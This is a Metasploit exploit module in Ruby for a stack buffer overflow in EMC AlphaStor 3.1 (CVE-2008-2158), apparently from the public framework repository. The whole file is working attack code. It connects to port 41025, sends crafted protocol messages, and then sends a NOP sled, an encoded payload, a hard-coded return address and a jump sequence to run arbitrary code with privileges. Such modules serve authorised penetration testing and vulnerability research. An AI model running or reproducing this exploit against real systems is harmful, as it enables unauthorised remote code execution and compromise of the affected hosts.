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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'EMC AlphaStor Agent Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in EMC AlphaStor 3.1.
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        By sending a specially crafted message, an attacker may
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        be able to execute arbitrary code.
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      },
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      'Author'         => 'MC',
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2008-2158' ],
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          [ 'OSVDB', '45714' ],
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          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=702' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process', # one-shot overwrite.
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        },
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      'Payload'        =>
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        {
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          'Space'    => 750,
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          'BadChars' => "\x00\x0a\x0d\x20",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'EMC AlphaStor 3.1', { 'Ret' => 0x65153fe0 } ], # dblib9.dll 9.0.1.1975
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        ],
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      'Privileged'     => true,
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      'DisclosureDate' => '2008-05-27',
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      'DefaultTarget' => 0))
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    register_options([Opt::RPORT(41025)])
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  end
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  def exploit
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    connect
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    # overwrite via: ascli.exe asopmsg "long_buff"
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    uno = [0x0000000b].pack('V')
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    sock.put(uno)
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    dos =  rand_text_alpha_upper(3) + "@" + rand_text_alpha_upper(6) + "\x00"
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    sock.put(dos)
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    tres = [0x00000004].pack('V')
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    sock.put(tres)
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    quatro = [0x0000001b].pack('V')
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    sock.put(quatro)
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    cinco = [0x0000047c].pack('V')
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    sock.put(cinco)
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    data =  make_nops(827 - payload.encoded.length) + payload.encoded
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    data << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
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    data << make_nops(8) + [0xe8, -750].pack('CV') + rand_text_alpha_upper(500) + "\x00"
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    print_status("Trying target #{target.name}...")
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    sock.put(data)
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    handler
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    disconnect
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  end
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end
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